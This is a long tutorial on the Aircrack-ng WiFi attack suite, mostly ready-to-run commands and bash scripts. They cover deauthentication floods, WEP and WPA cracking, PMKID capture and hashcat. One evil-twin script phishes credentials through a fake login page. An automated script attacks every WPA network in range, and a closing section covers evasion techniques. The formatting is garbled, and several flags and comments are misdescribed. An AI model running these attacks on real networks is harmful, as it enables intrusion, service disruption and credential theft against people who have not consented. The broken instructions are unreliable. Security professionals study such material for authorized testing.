# Aircrack-ng Suite Complete Walkthrough

> ⚠️ **LEGAL DISCLAIMER** ⚠️
> This guide is for educational and authorized penetration testing purposes only. Only test on networks you own or have explicit written permission to test. Unauthorized wireless network attacks are illegal and may result in severe legal consequences.

## Table of Contents



---

## Introduction

**Aircrack-ng** is a complete suite of tools to assess WiFi network security. It focuses on different areas of WiFi security: monitoring, attacking, testing, and cracking. The suite is widely used by security professionals, penetration testers, and researchers to evaluate wireless network security.

### Suite Components

| Tool | Purpose |
|---|---|
| **airmon-ng** | Enables monitor mode on wireless interfaces |
| **airodump-ng** | Captures 802.11 frames and displays network information |
| **aireplay-ng** | Generates traffic for use in attacks |
| **aircrack-ng** | Cracks WEP and WPA/WPA2 passwords |
| **airbase-ng** | Multi-purpose tool for attacks on clients |
| **packetforge-ng** | Creates encrypted packets for injection |

### Supported Attack Types

- **WEP Cracking**: Statistical attacks exploiting weak WEP encryption
- **WPA/WPA2 Handshake Capture**: Offline dictionary attacks

- **WPS Attacks**: Exploiting WPS vulnerabilities (with additional tools)
- **Deauthentication Attacks**: Forcing client disconnections
- **Evil Twin Attacks**: Creating rogue access points
- **PMKID Attacks**: Clientless WPA/WPA2 attacks

### Prerequisites

- Compatible wireless adapter with monitor mode support
- Linux operating system (preferred: Kali Linux, Ubuntu, or similar)
- Basic understanding of wireless networking concepts
- Proper authorization for testing target networks

---

## Installation

### Ubuntu/Debian

```bash
# Update package repositories
sudo apt update

# Install aircrack-ng suite
sudo apt install aircrack-ng

# Install additional useful tools
sudo apt install wireless-tools net-tools macchanger
```

### Kali Linux

```bash
# Aircrack-ng is pre-installed on Kali Linux
# Update if needed
sudo apt update && sudo apt upgrade aircrack-ng

# Additional tools for advanced attacks
sudo apt install reaver hcxtools hashcat
```

### CentOS/RHEL/Fedora

```bash
```

```
# CentOS/RHEL - Enable EPEL repository
sudo yum install epel-release
sudo yum install aircrack-ng

# Fedora
sudo dnf install aircrack-ng
```

### Arch Linux

```
bash

sudo pacman -S aircrack-ng
```

### Building from Source

For the latest features and updates:

```
bash

# Install build dependencies
sudo apt install build-essential autoconf automake libtool pkg-config \
    libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill \
    zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev \
    libcmocka-dev hostapd wpasupplicant tcpdump screen iw usbutils

# Clone and build
git clone https://github.com/aircrack-ng/aircrack-ng.git
cd aircrack-ng
autoreconf -i
./configure --with-experimental
make
sudo make install
sudo ldconfig
```

### Verification

```
bash
```

```
# Check installation
aircrack-ng --help
airodump-ng --help
aireplay-ng --help

# List available tools
ls /usr/bin/air*

# Check for compatible wireless adapters
lsusb | grep -i wireless
iwconfig
```

---

## Tools Overview

### Core Tools Detailed

#### airmon-ng

Manages wireless interface modes - enables/disables monitor mode.

bash

```
# Check available interfaces
airmon-ng

# Check for interfering processes
airmon-ng check

# Kill interfering processes
sudo airmon-ng check kill

# Enable monitor mode
sudo airmon-ng start wlan0

# Stop monitor mode
sudo airmon-ng stop wlan0mon
```

#### airodump-ng

Captures raw 802.11 frames and displays information about wireless networks and connected clients.

bash

```
# Basic usage - scan all channels
sudo airodump-ng wlan0mon

# Scan specific channel
sudo airodump-ng -c 6 wlan0mon

# Target specific network and save capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Filter by encryption type
sudo airodump-ng --encrypt WPA2 wlan0mon
```

### aireplay-ng

Generates traffic and performs various wireless attacks.

```bash
# Deauthentication attack
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Authentication test
sudo aireplay-ng -1 0 -a AA:BB:CC:DD:EE:FF wlan0mon

# ARP replay attack (for WEP)
sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF wlan0mon

# Fragmentation attack
sudo aireplay-ng -5 -b AA:BB:CC:DD:EE:FF -h CLIENT_MAC wlan0mon
```

### aircrack-ng

Cracks WEP and WPA/WPA2-PSK keys from captured data.

```bash
# Crack WEP key
aircrack-ng capture-01.cap

# Crack WPA/WPA2 with dictionary
aircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

# Show cracking statistics
aircrack-ng -S
```

## Additional Tools

**airbase-ng**

Creates fake access points for client attacks.

```bash
# Create fake AP
sudo airbase-ng -e "FakeNetwork" -c 6 wlan0mon

# Capture clients connecting to fake AP
sudo airbase-ng -e "FreeWiFi" -c 6 -P wlan0mon
```

**packetforge-ng**

Forges encrypted packets for injection attacks.

```bash
# Create ARP request packet
sudo packetforge-ng -0 -a AP_MAC -h CLIENT_MAC -k DEST_IP -l SRC_IP -y keystream.xor -w arp-request

# Create UDP packet
sudo packetforge-ng -0 -a AP_MAC -h CLIENT_MAC -k DEST_IP -l SRC_IP -y keystream.xor -w udp-packet
```

---

## Initial Setup

### Hardware Requirements

**Compatible WiFi Adapters:**

- Alfa AWUS036NHA/NH/ACS (highly recommended)
- TP-Link AC600 T2U Plus
- Panda PAU09
- Ralink RT3070/RT5370 chipset adapters
- Atheros AR9271 chipset adapters

**Chipset Compatibility Check:**

```bash
```

```
# Check current adapter chipset
lsusb -v | grep -E "idVendor|idProduct|iProduct"

# Check driver support
lsmod | grep -E "rt2800|rt73|ath9k|rtl"

# Test monitor mode capability
sudo iw list | grep -A 8 "Supported interface modes"
```

## Interface Configuration

### Check Current Interfaces

bash

```
# List all network interfaces
ip link show

# Check wireless interfaces specifically
iwconfig

# Get detailed interface information
iw dev

# Check interface capabilities
sudo iw phy phy0 info
```

### Enable Monitor Mode

### Method 1: Using airmon-ng (recommended)

bash

```
# Step 1: Check available interfaces
sudo airmon-ng

# Step 2: Check for interfering processes
sudo airmon-ng check

# Step 3: Kill interfering processes (optional but recommended)
sudo airmon-ng check kill

# Step 4: Enable monitor mode
sudo airmon-ng start wlan0

# Step 5: Verify monitor mode
iwconfig
# Should show wlan0mon in Mode:Monitor
```

### Method 2: Manual configuration

```
bash

# Bring interface down
sudo ip link set wlan0 down

# Set monitor mode
sudo iw dev wlan0 set type monitor

# Bring interface up
sudo ip link set wlan0 up

# Verify
iw dev wlan0 info
```

### Disable Monitor Mode

```
bash
```

```bash
# Using airmon-ng
sudo airmon-ng stop wlan0mon

# Restart NetworkManager if needed
sudo systemctl restart NetworkManager

# Or manually
sudo ip link set wlan0mon down
sudo iw dev wlan0mon set type managed
sudo ip link set wlan0mon up
```

## Common Setup Issues

### Problem: Monitor mode not supported

```bash
# Check if driver supports monitor mode
sudo iw list | grep -A 10 "interface modes"

# If not supported, may need different driver or adapter
```

### Problem: Device busy

```bash
# Check what's using the interface
sudo lsof | grep wlan0
sudo fuser -v /dev/wlan0

# Kill processes using the interface
sudo airmon-ng check kill
```

### Problem: No networks visible

```bash
```

```bash
# Check antenna connections
# Verify interface is in monitor mode
iwconfig

# Check if interface is up
ip link show wlan0mon

# Try different channels
sudo iwconfig wlan0mon channel 1
sudo iwconfig wlan0mon channel 6
sudo iwconfig wlan0mon channel 11
```

---

# Wireless Monitoring

## Basic Network Discovery

### Comprehensive Network Scan

bash

```bash
# Scan all channels and bands
sudo airodump-ng wlan0mon

# Scan specific channel
sudo airodump-ng -c 6 wlan0mon

# Scan specific frequency band
sudo airodump-ng --band bg wlan0mon  # 2.4GHz only
sudo airodump-ng --band a wlan0mon   # 5GHz only
sudo airodump-ng --band abg wlan0mon # Both bands
```

### Advanced Filtering Options

bash

```
# Show only WPA2 networks
sudo airodump-ng --encrypt WPA2 wlan0mon

# Show only networks with clients
sudo airodump-ng --showack wlan0mon

# Hide beacon frames (reduce noise)
sudo airodump-ng --beacons wlan0mon

# Show manufacturer information
sudo airodump-ng --manufacturer wlan0mon

# Real-time updates every 2 seconds
sudo airodump-ng --update 2 wlan0mon
```

## Target-Specific Monitoring

### Focused Network Capture

bash

```
# Monitor specific network and save captures
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Include timestamp in filename
TIMESTAMP=$(date +%Y%m%d-%H%M%S)
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w "capture-$TIMESTAMP" wlan0mon

# Specify output format
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture --output-format pcap,csv wlan0mon

# Monitor multiple networks
sudo airodump-ng -c 6,11 --bssid AA:BB:CC:DD:EE:FF,11:22:33:44:55:66 -w multi-capture wlan0mon
```

### Understanding airodump-ng Output

### Network Information Display:

```
BSSID              PWR  Beacons    #Data, #/s  CH  MB   CC  ESSID
AA:BB:CC:DD:EE:FF  -45       10        0    0   6  54   WPA2 MyNetwork
11:22:33:44:55:66  -67        5        2    0  11  54   WEP  OldRouter
22:33:44:55:66:77  -30       25       15    3   1  54   WPA2 OfficeNet

BSSID              STATION            PWR   Rate    Lost    Frames  Probe
AA:BB:CC:DD:EE:FF  FF:EE:DD:CC:BB:AA  -50    0 - 1     0         3
11:22:33:44:55:66  EE:DD:CC:BB:AA:FF  -65   12 - 1     0        10  HomeNet
```

**Column Explanations:**

- **PWR**: Signal power in dBm (closer to 0 = stronger signal)
- **Beacons**: Number of beacon frames captured
- **#Data**: Number of data frames captured
- **#/s**: Data frames per second
- **CH**: Channel number
- **MB**: Maximum supported speed in Mbps
- **CC**: Country code
- **ESSID**: Network name (SSID)

**Client Information:**

- **STATION**: MAC address of connected client
- **Rate**: Client's connection speed
- **Lost**: Lost frames count
- **Frames**: Total frames from this client
- **Probe**: Networks the client is probing for

## Advanced Monitoring Techniques

### GPS-Enabled Wardriving

bash

```
# Install GPS support
sudo apt install gpsd gpsd-clients

# Start GPS daemon
sudo gpsd /dev/ttyUSB0

# Monitor with GPS logging
sudo airodump-ng --gpsd --write wardriving-$(date +%Y%m%d) wlan0mon

# Export to Google Earth format
sudo airodump-ng --gpsd --write gps-survey --output-format gps wlan0mon
```

### Channel Hopping

bash

```
# Hop through all 2.4GHz channels
sudo airodump-ng --channel-hop wlan0mon

# Custom channel list
sudo airodump-ng -c 1,6,11 --channel-hop wlan0mon

# Set hop speed (channels per second)
sudo airodump-ng --hop-speed 5 wlan0mon
```

### Long-term Monitoring

bash

```
# Automated monitoring script
#!/bin/bash
# monitor-networks.sh

INTERFACE="wlan0mon"
LOG_DIR="/var/log/wireless-monitoring"
DURATION=3600  # 1 hour

mkdir -p "$LOG_DIR"

while true; do
    TIMESTAMP=$(date +%Y%m%d-%H%M%S)
    LOGFILE="$LOG_DIR/scan-$TIMESTAMP"

    echo "[$(date)] Starting scan - logging to $LOGFILE"

    timeout $DURATION airodump-ng --write "$LOGFILE" --output-format csv "$INTERFACE"

    echo "[$(date)] Scan completed, sleeping for 60 seconds"
    sleep 60
done
```

---

## Attack Methods

### Deauthentication Attacks

Deauthentication attacks force clients to disconnect from networks, useful for capturing WPA handshakes or testing network resilience.

#### Basic Deauth Attacks

bash

```
# Deauth all clients from a network
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Deauth specific client
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c CLIENT_MAC wlan0mon

# Continuous deauth (until Ctrl+C)
sudo aireplay-ng -0 0 -a AA:BB:CC:DD:EE:FF wlan0mon

# Broadcast deauth (affects all nearby clients)
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c FF:FF:FF:FF:FF:FF wlan0mon
```

### Targeted Deauth Script

```bash
#!/bin/bash
# targeted-deauth.sh - Smart deauthentication

TARGET_BSSID="$1"
TARGET_CHANNEL="$2"
INTERFACE="wlan0mon"

if [[ -z "$TARGET_BSSID" || -z "$TARGET_CHANNEL" ]]; then
    echo "Usage: $0 <BSSID> <CHANNEL>"
    exit 1
fi

echo "[*] Setting channel to $TARGET_CHANNEL"
iwconfig "$INTERFACE" channel "$TARGET_CHANNEL"

echo "[*] Discovering clients for $TARGET_BSSID"
timeout 30 airodump-ng -c "$TARGET_CHANNEL" --bssid "$TARGET_BSSID" "$INTERFACE" &
SCAN_PID=$!

sleep 30
kill $SCAN_PID 2>/dev/null

echo "[*] Starting targeted deauthentication"
aireplay-ng -0 20 -a "$TARGET_BSSID" "$INTERFACE"
```

## WEP Attacks

WEP (Wired Equivalent Privacy) is deprecated but still found on legacy systems. Multiple attack vectors exist.

### ARP Replay Attack

Most common WEP attack - captures and replays ARP packets to generate traffic.

```bash
```

```
# Terminal 1: Start packet capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep-capture wlan0mon

# Terminal 2: Wait for ARP packet, then replay
sudo aireplay-ng -3 -b AA:BB:CC:DD:EE:FF -h CLIENT_MAC wlan0mon

# Monitor IVs in airodump-ng - need ~20,000-50,000 for successful crack
# Terminal 3: Start cracking when enough IVs collected
aircrack-ng wep-capture-01.cap
```

### Fragmentation Attack

Used when no ARP packets are available - obtains keystream for packet forging.

bash

```
# Perform fragmentation attack
sudo aireplay-ng -5 -b AA:BB:CC:DD:EE:FF -h CLIENT_MAC wlan0mon

# This creates a .xor file with keystream
# Use keystream to forge packets
sudo packetforge-ng -0 -a AA:BB:CC:DD:EE:FF -h CLIENT_MAC \
  -k 255.255.255.255 -l 255.255.255.255 \
  -y fragment-*.xor -w forged-packet

# Inject forged packet
sudo aireplay-ng -2 -r forged-packet wlan0mon
```

### Chop-Chop Attack

Alternative method when fragmentation fails - gradually determines keystream.

bash

```bash
# Chop-chop attack
sudo aireplay-ng -4 -b AA:BB:CC:DD:EE:FF -h CLIENT_MAC wlan0mon

# Answer 'y' to questions about packet analysis
# Creates .xor keystream file

# Forge ARP packet with obtained keystream
sudo packetforge-ng -0 -a AA:BB:CC:DD:EE:FF -h CLIENT_MAC \
  -k 255.255.255.255 -l 255.255.255.255 \
  -y replay_*.xor -w chopchop-packet

# Inject forged packet
sudo aireplay-ng -2 -r chopchop-packet wlan0mon
```

## WPA/WPA2 Handshake Capture

WPA/WPA2 attacks require capturing the 4-way handshake for offline dictionary attacks.

### Complete Handshake Capture Process

bash

```
# Step 1: Start monitoring target network
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wpa-handshake wlan0mon

# Step 2: Wait for client to connect naturally, OR force reconnection
# In separate terminal:
sudo aireplay-ng -0 3 -a AA:BB:CC:DD:EE:FF -c CLIENT_MAC wlan0mon

# Step 3: Look for "WPA handshake: AA:BB:CC:DD:EE:FF" in airodump output
# Step 4: Stop capture with Ctrl+C when handshake captured

# Step 5: Verify handshake capture
aircrack-ng -b AA:BB:CC:DD:EE:FF wpa-handshake-01.cap
```

### Automated Handshake Capture

bash

```bash
#!/bin/bash
# auto-handshake.sh - Automated WPA handshake capture

TARGET_BSSID="$1"
TARGET_CHANNEL="$2"
CAPTURE_TIME="${3:-60}"
INTERFACE="wlan0mon"

if [[ -z "$TARGET_BSSID" || -z "$TARGET_CHANNEL" ]]; then
    echo "Usage: $0 <BSSID> <CHANNEL> [capture_time_seconds]"
    exit 1
fi

CAPTURE_FILE="handshake-$(echo $TARGET_BSSID | tr ':' '-')-$(date +%Y%m%d-%H%M%S)"

echo "[*] Starting handshake capture for $TARGET_BSSID on channel $TARGET_CHANNEL"
echo "[*] Capture file: $CAPTURE_FILE"

# Start capture
airodump-ng -c "$TARGET_CHANNEL" --bssid "$TARGET_BSSID" -w "$CAPTURE_FILE" "$INTERFACE" &
CAPTURE_PID=$!

# Let capture run for a few seconds
sleep 5

echo "[*] Sending deauthentication packets"
# Send deauth packets in batches
for i in {1..3}; do
    aireplay-ng -0 5 -a "$TARGET_BSSID" "$INTERFACE" &
    sleep 10
done

# Continue capturing
echo "[*] Continuing capture for $CAPTURE_TIME seconds"
sleep "$CAPTURE_TIME"

# Stop capture
kill $CAPTURE_PID
wait $CAPTURE_PID 2>/dev/null

echo "[*] Checking for handshake"
if aircrack-ng -b "$TARGET_BSSID" "$CAPTURE_FILE-01.cap" | grep -q "1 handshake"; then
    echo "[+] Handshake captured successfully!"
    echo "[+] File: $CAPTURE_FILE-01.cap"
    exit 0
else
```

```
    echo "[-] No handshake captured. Try again with more active clients."
    exit 1
fi
```

## Evil Twin Attacks

Creates rogue access point with same SSID as target to capture credentials.

### Basic Evil Twin Setup

```bash
# Step 1: Create fake AP
sudo airbase-ng -e "TargetNetwork" -c 6 wlan0mon

# Step 2: Configure network bridge (in another terminal)
sudo brctl addbr br0
sudo brctl addif br0 eth0
sudo brctl addif br0 at0
sudo ifconfig br0 up
sudo dhclient br0

# Step 3: Set up internet sharing
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```

### Advanced Evil Twin with Captive Portal

```bash
```

```
#!/bin/bash
# evil-twin-portal.sh - Evil twin with credential capture

TARGET_SSID="$1"
INTERFACE="wlan0mon"
PORTAL_DIR="/tmp/evil-portal"

if [[ -z "$TARGET_SSID" ]]; then
    echo "Usage: $0 <TARGET_SSID>"
    exit 1
fi

# Create portal directory
mkdir -p "$PORTAL_DIR"

# Create simple captive portal page
cat > "$PORTAL_DIR/index.html" << EOF
<!DOCTYPE html>
<html>
<head>
    <title>WiFi Login</title>
    <style>
        body { font-family: Arial; text-align: center; margin-top: 50px; }
        .login-form { max-width: 300px; margin: 0 auto; }
        input { width: 100%; padding: 10px; margin: 5px 0; }
        button { background: #007cba; color: white; padding: 10px 20px; border: none; }
    </style>
</head>
<body>
    <div class="login-form">
        <h2>$TARGET_SSID</h2>
        <p>Please enter your credentials to access the internet</p>
        <form method="post" action="/login">
            <input type="text" name="username" placeholder="Username" required>
            <input type="password" name="password" placeholder="Password" required>
            <button type="submit">Connect</button>
        </form>
    </div>
</body>
</html>
EOF

echo "[*] Starting evil twin for SSID: $TARGET_SSID"
echo "[*] Portal directory: $PORTAL_DIR"
echo "[*] Credentials will be logged to: $PORTAL_DIR/credentials.log"
```

```
# Start fake AP
sudo airbase-ng -e "$TARGET_SSID" -c 6 "$INTERFACE"
```

---

## Password Cracking

### WEP Key Recovery

WEP uses weak encryption that can be broken with sufficient initialization vectors (IVs).

#### Basic WEP Cracking

```bash
# Crack WEP with default settings
aircrack-ng capture-01.cap

# Specify key length (if known)
aircrack-ng -n 64 capture-01.cap   # 64-bit WEP (40-bit key + 24-bit IV)
aircrack-ng -n 128 capture-01.cap  # 128-bit WEP (104-bit key + 24-bit IV)

# Use multiple capture files
aircrack-ng capture*.cap

# Show statistics and progress
aircrack-ng -S capture-01.cap
```

#### Advanced WEP Cracking

```bash
# Use specific attack methods
aircrack-ng -K 1 capture-01.cap  # Korek attack only
aircrack-ng -K 2 capture-01.cap  # PTW attack only

# Specify BSSID if multiple networks in capture
aircrack-ng -b AA:BB:CC:DD:EE:FF capture-01.cap

# Use custom wordlist for passphrase-based WEP
aircrack-ng -w wordlist.txt capture-01.cap

# Debug mode for troubleshooting
aircrack-ng -d 3 capture-01.cap
```

### WPA/WPA2 Dictionary Attacks

WPA/WPA2 requires offline dictionary attacks against captured handshakes.

### Basic Dictionary Attack

```bash
# Standard dictionary attack
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF handshake.cap

# Use multiple wordlists
aircrack-ng -w wordlist1.txt,wordlist2.txt,wordlist3.txt handshake.cap

# Show progress and statistics
aircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF -S handshake.cap
```

### Advanced Dictionary Attacks

```bash
# Use ESSID-specific optimization
aircrack-ng -w wordlist.txt -e "NetworkName" handshake.cap

# Specify number of CPU cores
aircrack-ng -w wordlist.txt -p 4 handshake.cap

# Combine multiple techniques
aircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF -e "NetworkName" -p 4 handshake.cap
```

## Wordlist Generation and Management

### Custom Wordlist Creation

```bash
```

```
# Install crunch for wordlist generation
sudo apt install crunch

# Generate numeric passwords (4-8 digits)
crunch 4 8 0123456789 -o numeric-passwords.txt

# Generate alphanumeric passwords
crunch 8 12 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 -o alphanumeric.txt

# Pattern-based generation
crunch 8 8 -t @@@@@@%% -o pattern-passwords.txt  # 6 letters + 2 numbers
crunch 10 10 -t @@@@@@@@@%% -o office-pattern.txt  # 8 letters + 2 numbers

# Phone number patterns
crunch 10 10 0123456789 -t 555%%%-%%%% -o phone-numbers.txt
```

### Social Engineering Wordlists

bash

```
# Install CUPP (Common User Passwords Profiler)
git clone https://github.com/Mebus/cupp.git
cd cupp

# Interactive mode - generates wordlist based on target information
python3 cupp.py -i

# Download common wordlists
python3 cupp.py -l

# Generate wordlist from website
python3 cupp.py -w target-website.com -c
```

### Wordlist Optimization

bash

```
# Remove duplicates and sort
sort wordlist.txt | uniq > wordlist-clean.txt

# Combine multiple wordlists
cat list1.txt list2.txt list3.txt | sort | uniq > combined-wordlist.txt

# Filter by length
awk 'length($0) >= 8 && length($0) <= 20' wordlist.txt > filtered-wordlist.txt

# Add common patterns
sed 's/$/123/g' base-wordlist.txt > wordlist-with-123.txt
sed 's/$/2024/g' base-wordlist.txt >> wordlist-with-years.txt
```

## Hashcat Integration for GPU Acceleration

Modern GPU-accelerated cracking is significantly faster than CPU-only methods.

### Converting Captures for Hashcat

bash

```
# Install hcxtools for conversion
sudo apt install hcxtools

# Convert .cap to hashcat format
hcxpcapngtool -o hash.hc22000 -E essidlist handshake.cap

# Verify conversion
head hash.hc22000
wc -l hash.hc22000
```

### GPU-Accelerated Cracking

bash

```
# Basic hashcat attack
hashcat -m 22000 hash.hc22000 wordlist.txt

# With rules for password mutations
hashcat -m 22000 hash.hc22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule

# Show available GPU devices
hashcat -I

# Use specific GPU
hashcat -m 22000 hash.hc22000 wordlist.txt -d 1

# Resume interrupted session
hashcat -m 22000 hash.hc22000 wordlist.txt --restore
```

### Advanced Hashcat Attacks

bash

```
# Mask attack (when password pattern is known)
hashcat -m 22000 hash.hc22000 -a 3 ?l?l?l?l?l?d?d?d?d  # 5 lowercase + 4 digits

# Hybrid attacks
hashcat -m 22000 hash.hc22000 -a 6 wordlist.txt ?d?d?d?d  # wordlist + 4 digits
hashcat -m 22000 hash.hc22000 -a 7 ?d?d?d?d wordlist.txt  # 4 digits + wordlist

# Combination attack
hashcat -m 22000 hash.hc22000 -a 1 left-wordlist.txt right-wordlist.txt

# With multiple rules
hashcat -m 22000 hash.hc22000 wordlist.txt -r rule1.rule -r rule2.rule

# Prince attack (probability-based)
hashcat -m 22000 hash.hc22000 -a 4 wordlist.txt
```

### Performance Optimization

bash

```
# Benchmark GPU performance
hashcat -b

# Optimize workload
hashcat -m 22000 hash.hc22000 wordlist.txt -w 4  # Nightmare workload

# Monitor temperature and performance
nvidia-smi -l 1  # For NVIDIA GPUs
watch -n 1 radeontop  # For AMD GPUs

# Custom optimization
hashcat -m 22000 hash.hc22000 wordlist.txt -O -w 4 --force
```

---

## Advanced Techniques

### PMKID Attack (Hashcat 22000)

PMKID attacks allow cracking WPA/WPA2 networks without capturing handshakes or waiting for clients.

#### Capturing PMKID

bash

```
# Install required tools
sudo apt install hcxdumptool hcxtools

# Capture PMKID (no clients required)
sudo hcxdumptool -i wlan0mon -o pmkid-capture.pcapng --enable_status=1

# Target specific networks
sudo hcxdumptool -i wlan0mon -o pmkid-capture.pcapng --filterlist=targets.txt --enable_status=1

# Convert to hashcat format
hcxpcapngtool -o pmkid.hc22000 -E essidlist pmkid-capture.pcapng

# Crack with hashcat
hashcat -m 22000 pmkid.hc22000 wordlist.txt
```

#### PMKID Analysis

bash

```
# Analyze captured PMKIDs
hcxpcapngtool --pmkid-only -o pmkid-only.hc22000 capture.pcapng

# Show PMKID information
hcxhashtool -i pmkid.hc22000 --info

# Filter by specific criteria
hcxhashtool -i pmkid.hc22000 --essid-list=targets.txt -o filtered-pmkid.hc22000
```

## Distributed Cracking

Scale cracking operations across multiple machines for increased performance.

### Aircrack-ng Server Mode

bash

```
# Server (powerful machine with capture)
sudo airserv-ng -p 666 -d 100 -c 6 wlan0mon

# Clients (connect from remote machines)
airodump-ng -i 192.168.1.100:666

# Distributed cracking
aircrack-ng -w part1.txt 192.168.1.100:666  # Client 1
aircrack-ng -w part2.txt 192.168.1.100:666  # Client 2
```

### Hashcat Distributed Setup

bash

```
# Split wordlist for distribution
split -l 1000000 huge-wordlist.txt wordlist-part-

# Distribute across multiple GPUs/machines
hashcat -m 22000 hash.hc22000 wordlist-part-aa &  # Process 1
hashcat -m 22000 hash.hc22000 wordlist-part-ab &  # Process 2
hashcat -m 22000 hash.hc22000 wordlist-part-ac &  # Process 3
```

## Automation and Scripting

### Comprehensive Attack Automation

bash

```
#!/bin/bash
# wifi-auto-pwn.sh - Automated wireless security testing

set -euo pipefail

# Configuration
INTERFACE="wlan0mon"
WORDLIST="/usr/share/wordlists/rockyou.txt"
RESULTS_DIR="./wifi-results-$(date +%Y%m%d-%H%M%S)"
SCAN_TIME=60
ATTACK_TIMEOUT=300

# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[0;33m'
NC='\033[0m' # No Color

log() {
    echo -e "${GREEN}[$(date '+%Y-%m-%d %H:%M:%S')] $1${NC}"
}

warn() {
    echo -e "${YELLOW}[$(date '+%Y-%m-%d %H:%M:%S')] WARNING: $1${NC}"
}

error() {
    echo -e "${RED}[$(date '+%Y-%m-%d %H:%M:%S')] ERROR: $1${NC}"
}

# Create results directory
mkdir -p "$RESULTS_DIR"

# Initial network scan
scan_networks() {
    log "Starting network discovery scan for $SCAN_TIME seconds"
    timeout "$SCAN_TIME" airodump-ng --write "$RESULTS_DIR/scan" --output-format csv "$INTERFACE" || true

    log "Network scan completed. Analyzing results..."

    # Parse CSV for WPA networks
    if [[ -f "$RESULTS_DIR/scan-01.csv" ]]; then
        grep -E "WPA|WPA2" "$RESULTS_DIR/scan-01.csv" > "$RESULTS_DIR/wpa-targets.txt" || true
        TARGET_COUNT=$(wc -l < "$RESULTS_DIR/wpa-targets.txt" 2>/dev/null || echo "0")
        log "Found $TARGET_COUNT WPA/WPA2 networks"
    else
```

```
        warn "No scan results found"
        exit 1
    fi
}

# Attack individual network
attack_network() {
    local bssid="$1"
    local channel="$2"
    local essid="$3"

    log "Attacking network: $essid ($bssid) on channel $channel"

    local capture_file="$RESULTS_DIR/attack-$(echo "$bssid" | tr ':' '-')"

    # Start capture
    timeout $ATTACK_TIMEOUT airodump-ng -c "$channel" --bssid "$bssid" -w "$capture_file" "$INTERFACE" &
    local capture_pid=$!

    sleep 5

    # Deauth attack
    log "Sending deauthentication packets to force handshake"
    timeout 30 aireplay-ng -0 0 -a "$bssid" "$INTERFACE" &
    local deauth_pid=$!

    # Wait for capture
    sleep 60

    # Stop attacks
    kill $capture_pid $deauth_pid 2>/dev/null || true
    wait $capture_pid $deauth_pid 2>/dev/null || true

    # Check for handshake and attempt crack
    if [[ -f "$capture_file-01.cap" ]]; then
        if aircrack-ng -b "$bssid" "$capture_file-01.cap" | grep -q "1 handshake"; then
            log "Handshake captured for $essid. Starting dictionary attack..."

            # Convert for hashcat if available
            if command -v hcxpcapngtool &> /dev/null; then
                hcxpcapngtool -o "$capture_file.hc22000" "$capture_file-01.cap" 2>/dev/null || true
            fi

            # Dictionary attack with aircrack-ng
            if aircrack-ng -w "$WORDLIST" -b "$bssid" "$capture_file-01.cap" > "$capture_file-crack-result.txt" 2>&1; then
                if grep -q "KEY FOUND" "$capture_file-crack-result.txt"; then
                    local password=$(grep "KEY FOUND" "$capture_file-crack-result.txt" | cut -d'[' -f3 | cut -d']' -f1)
```

```
                log "PASSWORD FOUND for $essid: $password"
                echo "$essid,$bssid,$password" >> "$RESULTS_DIR/cracked-passwords.csv"
            else
                warn "No password found for $essid with current wordlist"
            fi
        else
            warn "Dictionary attack failed for $essid"
        fi
    else
        warn "No handshake captured for $essid"
    fi
else
    warn "No capture file created for $essid"
fi
}

# Main execution
main() {
    log "Starting automated WiFi security assessment"
    log "Interface: $INTERFACE"
    log "Wordlist: $WORDLIST"
    log "Results directory: $RESULTS_DIR"

    # Check prerequisites
    if ! iwconfig "$INTERFACE" 2>/dev/null | grep -q "Mode:Monitor"; then
        error "Interface $INTERFACE is not in monitor mode"
        exit 1
    fi

    if [[ ! -f "$WORDLIST" ]]; then
        error "Wordlist not found: $WORDLIST"
        exit 1
    fi

    # Perform network scan
    scan_networks

    # Attack each WPA network found
    while IFS=',' read -r bssid channel essid encryption; do
        # Skip header and empty lines
        [[ "$bssid" == "BSSID" ]] && continue
        [[ -z "$bssid" ]] && continue

        attack_network "$bssid" "$channel" "$essid"

        # Brief pause between attacks
        sleep 10
```

```
    done < "$RESULTS_DIR/wpa-targets.txt"

    log "Assessment completed. Results saved in $RESULTS_DIR"

    if [[ -f "$RESULTS_DIR/cracked-passwords.csv" ]]; then
        log "Successfully cracked passwords:"
        cat "$RESULTS_DIR/cracked-passwords.csv"
    else
        log "No passwords were cracked during this assessment"
    fi
}

# Execute main function
main "$@"
```

## Stealth and Evasion Techniques

### MAC Address Randomization

bash

```
# Change MAC address before starting
sudo macchanger -r wlan0

# Use specific vendor MAC
sudo macchanger --mac=aa:bb:cc:dd:ee:ff wlan0

# Restore original MAC
sudo macchanger -p wlan0

# Automated MAC rotation
#!/bin/bash
while true; do
    sudo macchanger -r wlan0mon
    sleep 300  # Change every 5 minutes
done
```

### Power and Channel Management

bash

```
# Reduce transmission power to avoid detection
sudo iwconfig wlan0mon txpower 5

# Channel hopping to avoid pattern detection
#!/bin/bash
CHANNELS=(1 6 11 2 7 3 8 4 9 5 10)
while true; do
    for channel in "${CHANNELS[@]}"; do
        iwconfig wlan0mon channel $channel
        sleep 30
    done
done
```

